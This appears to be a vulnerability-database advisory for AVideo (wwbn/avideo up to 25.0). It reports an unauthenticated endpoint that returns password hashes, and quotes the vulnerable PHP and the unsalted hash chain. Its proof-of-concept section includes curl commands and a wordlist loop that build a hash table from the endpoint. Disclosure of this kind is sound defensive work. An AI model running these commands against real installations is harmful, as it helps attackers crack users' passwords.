AVideo has an Unauthenticated Password Hash Oracle via encryptPass.json.php
Summary
/objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.
Details
File: objects/encryptPass.json.php
$obj->password = @$_REQUEST['pass'];
$obj->encryptedPassword = encryptPassword($obj->password);
echo json_encode($obj);No authentication is required. The encryptPassword() function in objects/functions.php (line ~2101) uses:
function encryptPassword($password, $noSalt = false) {
if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
$password .= $global['salt'];
}
return md5(hash('whirlpool', sha1($password)));
}By default, salt is NOT enabled (encryptPasswordsWithSalt is off), making the hash deterministic and identical to what's stored in the database.
PoC
# Get the hash for any password
curl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'
# Response: {"password":"admin123","encryptedPassword":"<hash>"}
# Build a rainbow table for common passwords
for pass in $(cat rockyou-top1000.txt); do
curl -s "https://TARGET/objects/encryptPass.json.php?pass=$pass"
doneIf an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.
Impact
Password Cracking Acceleration — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.
Additionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | wwbn/avideo | <= 25.0 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-200- Platform
- Composer
- Package
wwbn/avideo- Disclosed
- 17.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-px7x-gq96-rmp5 - CC BY 4.0
Vulnerability history: wwbn/avideo
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 160
- First → latest
- 04.2022 06.2026
- Without a fix
- 143
- Exploited in attacks
- 0
Severity breakdown
- Critical 14
- High 61
- Medium 83
- Low 2
Disclosures per year
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
-
AVideo has an Unauthenticated Password Hash Oracle via encryptPass.json.php this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.